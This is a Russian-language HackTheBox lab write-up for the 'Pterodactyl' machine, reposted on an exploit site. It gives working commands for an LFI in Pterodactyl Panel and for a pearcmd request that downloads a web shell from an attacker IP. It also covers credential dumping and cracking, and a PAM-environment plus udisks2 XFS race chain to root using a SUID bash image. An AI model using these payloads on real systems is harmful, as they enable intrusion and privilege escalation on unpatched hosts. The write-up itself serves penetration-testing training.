Sploitus

Exploit for HTB-Pterodactyl-Writeup

kitploit · 2026-08-25

Exploit Code

MARKDOWN293 lines
## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-V0IDW1RE-HTB-PTERODACTYL-WRITEUP
# Отчет о тесте на проникновение — HackTheBox: Pterodactyl

**Дата:** 8 апреля 2026 г.  
**Цель:** Pterodactyl (HackTheBox)  
**Сложность:** Средняя  
**ОС:** Linux (openSUSE Leap 15.6)  
**Тестер:** V0idW1re

* * *

## Краткое описание

Машина Pterodactyl на HackTheBox представила реалистичный сценарий атаки, включающий неправильно сконфигурированное веб-приложение и связанные уязвимости повышения привилегий. Начиная с неаутентифицированной позиции, тестер получил полный доступ root через логическую последовательность шагов эксплуатации. Цепочка атак включала неаутентифицированную уязвимость включения локального файла, творческое использование менеджера пакетов PHP для удаленного выполнения кода, извлечение и взлом учетных данных, а затем связывание двух публично раскрытых CVE для повышения привилегий от низкопривилегированного пользователя до root.

* * *

## Объем

Поле| Значение  
---|---  
IP цели| 10.129.25.223  
Имя хоста| pterodactyl.htb  
ОС| openSUSE Leap 15.6  
Службы| SSH (22), HTTP (80)  
Поддомены| panel.pterodactyl.htb  
  
* * *

## Методология

Оценка проводилась в соответствии со стандартной методологией тестирования на проникновение:

  1. Разведка и обнаружение служб
  2. Анализ веб-приложений
  3. Начальная эксплуатация
  4. Постэксплуатация и горизонтальное перемещение
  5. Повышение привилегий
  6. Подтверждение компрометации



* * *

## Результаты

### Результат 1 — Неаутентифицированное включение локального файла (CVE-2025-49132)

**Серьезность:** Критичный  
**Компонент:** Pterodactyl Panel v1.11.10 — конечная точка `/locales/locale.json`

**Описание:**  
Конечная точка локали Pterodactyl Panel не очищала параметры запроса `locale` и `namespace`, что позволяло осуществлять обход каталогов. Поскольку приложение добавляло `.php` к значению `namespace` и загружало его через механизм include в PHP, атакующий мог заставить сервер загрузить и выполнить произвольные PHP-файлы в файловой системе.

**Эксплойт:**

root@kitploit:~
    
    
    GET /locales/locale.json?locale=../../../../../../var/www/pterodactyl/&namespace=config/database
    

**Воздействие:**  
Из `config/database.php` были извлечены учетные данные базы данных:

  * Имя пользователя: `pterodactyl`
  * Пароль: `PteraPanel`
  * База данных: `panel`



Ключ приложения Laravel также был извлечен из `config/app.php`.

**Доказательство:**

root@kitploit:~
    
    
    {"connections":{"mysql":{"username":"pterodactyl","password":"PteraPanel"}}}
    

* * *

### Результат 2 — Удаленное выполнение кода через pearcmd.php

**Серьезность:** Критичный  
**Компонент:** Установка PHP PEAR + LFI

**Описание:**  
Имея примитив LFI, тестер использовал сценарий `pearcmd.php` менеджера пакетов PEAR. Когда в конфигурации PHP включен `register_argc_argv=On` (подтверждено через phpinfo), строка запроса интерпретируется pearcmd как аргументы командной строки. Команда `download` использовалась для загрузки PHP-веб-шелла с сервера атакующего и сохранения его в общедоступную веб-директорию панели.

**Эксплойт:**

root@kitploit:~
    
    
    GET /locales/locale.json?locale=../../../../../../usr/share/php/PEAR/&namespace=pearcmd&+download+http://10.10.15.128:8000/shell.php
    

**Воздействие:**  
PHP-веб-шелл был записан в `/var/www/pterodactyl/public/shell.php`, что обеспечило неаутентифицированное удаленное выполнение кода от пользователя `wwwrun`.

**Доказательство:**

root@kitploit:~
    
    
    http://panel.pterodactyl.htb/shell.php?cmd=id
    uid=474(wwwrun) gid=477(www) groups=477(www)
    

* * *

### Результат 3 — Учетные данные базы данных в открытом виде и слабое хранение паролей

**Серьезность:** Высокий  
**Компонент:** База данных MySQL panel

**Описание:**  
Используя RCE-шелл, тестер подключился к базе данных MySQL, используя учетные данные, полученные через LFI. Таблица `users` содержала хеши bcrypt для всех пользователей панели. Хеш пользователя `phileasfogg3` был взломан офлайн с использованием общего словаря.

**Эксплойт:**

root@kitploit:~
    
    
    SELECT username, password FROM users;
    

**Взломанные учетные данные:**

  * Имя пользователя: `phileasfogg3`
  * Пароль: `!QAZ2wsx`



**Воздействие:**  
Был получен доступ по SSH как `phileasfogg3`, и захвачен пользовательский флаг:

root@kitploit:~
    
    
    user.txt: 916235b4261e70fdb090402c641a7808
    

* * *

### Результат 4 — Обход привилегий через переменные окружения PAM (CVE-2025-6018)

**Серьезность:** Высокий  
**Компонент:** Конфигурация PAM — `pam_env.so` с `user_readenv=1`

**Описание:**  
Конфигурация PAM на openSUSE Leap 15.6 загружает файл `~/.pam_environment` пользователя через `pam_env.so` с `user_readenv=1`. Устанавливая определенные переменные окружения в этом файле, непривилегированный пользователь SSH может обмануть `systemd-logind` и Polkit, заставив их считать сессию активной физической консольной сессией, тем самым получив привилегии `allow_active`.

**Эксплойт:**

root@kitploit:~
    
    
    echo -e "XDG_SEAT=seat0\nXDG_VTNR=1" > ~/.pam_environment
    

После повторного подключения по SSH сессия была распознана как `Active=yes`, что позволило непривилегированно вызывать методы D-Bus udisks2, которые обычно требуют физического присутствия на консоли.

**Доказательство:**

root@kitploit:~
    
    
    udisksctl loop-setup -f /tmp/xfs.img
    Mapped file /tmp/xfs.img as /dev/loop0.
    # No authentication prompt
    

* * *

### Результат 5 — Состояние гонки при изменении размера XFS в udisks2 (CVE-2025-6019)

**Серьезность:** Критичный  
**Компонент:** udisks2 v2.9.2 / libblockdev — `org.freedesktop.UDisks2.Filesystem.Resize`

**Описание:**  
Когда udisks2 изменяет размер файловой системы XFS через libblockdev, он временно монтирует образ файловой системы в общедоступную директорию в `/tmp/blockdev.*` без флагов монтирования `nosuid` и `nodev`. Это создает короткое окно состояния гонки, в течение которого любой SUID-бинарный файл, присутствующий в образе, может быть выполнен с повышенным эффективным UID.

Атакующий с привилегиями Polkit `allow_active` (полученными через CVE-2025-6018) может:

  1. Создать образ XFS, содержащий SUID-бинарный файл bash, принадлежащий root
  2. Настроить loop-устройство через `udisksctl loop-setup`
  3. Запустить изменение размера через D-Bus
  4. Успеть выполнить SUID-бинарный файл во временном окне монтирования без nosuid



**Важное замечание о совместимости образов XFS:**  
Образ XFS должен быть создан с определенными флагами для openSUSE Leap 15.6 (SP5/SP6):

root@kitploit:~
    
    
    mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
    

**Эксплойт:**

root@kitploit:~
    
    
    # Build malicious XFS image (on attacker machine)
    dd if=/dev/zero of=xfs.img bs=1M count=300
    mkfs.xfs -f -i exchange=0 -n parent=0 xfs.img
    mount xfs.img /mnt
    cp /bin/bash /mnt/bash
    chown root:root /mnt/bash
    chmod 4755 /mnt/bash
    umount /mnt
    
    # On target — race the resize window
    udisksctl loop-setup -f /tmp/xfs.img
    (while true; do
        /tmp/blockdev.*/bash -p -c 'cp /usr/bin/bash /tmp/rb; chmod 4755 /tmp/rb' 2>/dev/null
    done) &
    busctl call org.freedesktop.UDisks2 \
        /org/freedesktop/UDisks2/block_devices/loop0 \
        org.freedesktop.UDisks2.Filesystem Resize "ta{sv}" 0 0
    

**Доказательство:**

root@kitploit:~
    
    
    /tmp/blockdev.1LYHN3/bash -p -c 'id'
    uid=1002(phileasfogg3) gid=100(users) euid=0(root) groups=100(users)
    

**Root-флаг:**

root@kitploit:~
    
    
    root.txt: d3a242011c18cb81f08ad80337330641
    

* * *

## Подтверждение доступа

Флаг| Значение  
---|---  
user.txt| 916235b4261e70fdb090402c641a7808  
root.txt| d3a242011c18cb81f08ad80337330641  
  
* * *

## Сводка повышения привилегий

root@kitploit:~
    
    
    [Неаутентифицированный]
        ↓ CVE-2025-49132 (LFI)
    [Учетные данные БД]
        ↓ pearcmd RCE
    [Оболочка wwwrun]
        ↓ дампинг MySQL + взлом хеша
    [SSH phileasfogg3]
        ↓ CVE-2025-6018 (обход PAM → allow_active)
        ↓ CVE-2025-6019 (гонка изменения размера XFS udisks2)
    [root]
    

* * *

## Воздействие

Полная компрометация целевой системы. Атакующий с таким уровнем доступа может:

  * Читать, изменять или удалять любые файлы на системе
  * Устанавливать постоянные бэкдоры или вредоносное ПО
  * Перемещаться на другие системы в сети
  * Получить доступ ко всем хранимым учетным данным и конфиденциальным данным
  * Нарушить работу или манипулировать размещенными службами



* * *

## Устранение

* * *

_Этот отчет был подготовлен в образовательных целях в рамках лабораторного упражнения HackTheBox. Все тестирование проводилось в легальной изолированной лабораторной среде._